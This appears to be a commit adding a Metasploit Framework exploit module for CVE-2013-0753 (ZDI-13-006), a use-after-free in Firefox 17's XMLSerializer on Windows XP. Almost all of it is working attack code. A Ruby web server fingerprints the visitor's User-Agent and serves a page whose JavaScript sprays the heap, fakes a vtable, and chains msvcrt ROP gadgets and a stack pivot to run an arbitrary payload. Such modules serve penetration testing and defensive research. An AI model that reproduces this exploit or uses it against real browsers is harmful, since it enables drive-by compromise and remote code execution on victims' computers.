Add module for ZDI-13-006
jvazquez-r7
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fe089030d4
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::RopDb
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Firefox XMLSerializer Use After Free',
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'Description' => %q{
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This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically
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an use after free of an Element object, when using the serializeToStream method
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with a specially crafted OutputStream defining its own write function. This module
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has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP
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SP3.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'regenrecht', # Vulnerability Discovery, Analysis and PoC
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2013-0753' ],
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[ 'OSVDB', '89021'],
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[ 'BID', '57209'],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ],
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[ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ],
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[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Payload' =>
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{
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'BadChars' => "\x00",
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'DisableNops' => true,
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'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Firefox 17 / Windows XP SP3',
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{
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'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
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'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory
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'RetGadget' => 0x77c3ee16, # ret from msvcrt
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'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt
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'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt
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}
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]
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],
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'DisclosureDate' => 'Jan 08 2013',
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'DefaultTarget' => 0))
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end
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def stack_pivot
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pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
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pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
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pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
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pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
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return pivot
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end
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def junk(n=4)
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return rand_text_alpha(n).unpack("V").first
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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vprint_status("Agent: #{agent}")
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if agent !~ /Windows NT 5\.1/
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print_error("Windows XP not found, sending 404: #{agent}")
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send_not_found(cli)
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return
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end
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unless agent =~ /Firefox\/17/
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print_error("Browser not supported, sending 404: #{agent}")
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send_not_found(cli)
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return
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end
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# Fake object landed on 0x0c101008 if heap spray is working as expected
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code = [
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target['FakeVFTable'],
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target['RetGadget'],
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target['RetGadget'],
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target['RetGadget'],
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target['RetGadget'],
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target['PopRetGadget'],
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0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis
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].pack("V*")
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code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer)
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code << [target['PopRetGadget']].pack("V") # pop # ret
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code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret
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code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
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js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
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js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))
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js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch))
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content = <<-HTML
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<html>
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<script>
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var heap_chunks;
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function heapSpray(shellcode, fillsled) {
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var chunk_size, headersize, fillsled_len, code;
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var i, codewithnum;
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chunk_size = 0x40000;
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headersize = 0x10;
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fillsled_len = chunk_size - (headersize + shellcode.length);
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while (fillsled.length <fillsled_len)
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fillsled += fillsled;
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fillsled = fillsled.substring(0, fillsled_len);
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code = shellcode + fillsled;
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heap_chunks = new Array();
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for (i = 0; i<1000; i++)
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{
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codewithnum = "HERE" + code;
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heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
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}
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}
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function gen(len, pad) {
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pad = unescape(pad);
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while (pad.length < len/2)
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pad += pad;
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return pad.substring(0, len/2-1);
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}
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function run() {
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var container = [];
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var myshellcode = unescape("#{js_code}");
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var myfillsled = unescape("#{js_random}");
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heapSpray(myshellcode,myfillsled);
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var fake =
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"%u0000%u0000" +
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"%u0000%u0000" +
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"%u0000%u0000" +
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"%u0000%u0000" +
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"%u0000%u0000" +
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"%u0000%u0000" +
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"%u0000%u0000" +
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"#{js_ptr}";
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var small = gen(72, fake);
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var text = 'x';
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while (text.length <= 1024)
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text += text;
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var parent = document.createElement("parent");
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var child = document.createElement("child");
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parent.appendChild(child);
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child.setAttribute("foo", text);
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var s = new XMLSerializer();
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var stream = {
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write: function() {
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parent.removeChild(child);
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child = null;
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for (i = 0; i < 2097152; ++i)
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container.push(small.toLowerCase());
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}
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};
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s.serializeToStream(parent, stream, "UTF-8");
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}
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</script>
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<body onload="run();">
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</body>
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</html>
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HTML
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print_status("URI #{request.uri} requested...")
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print_status("Sending HTML")
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send_response(cli, content, {'Content-Type'=>'text/html'})
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end
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end
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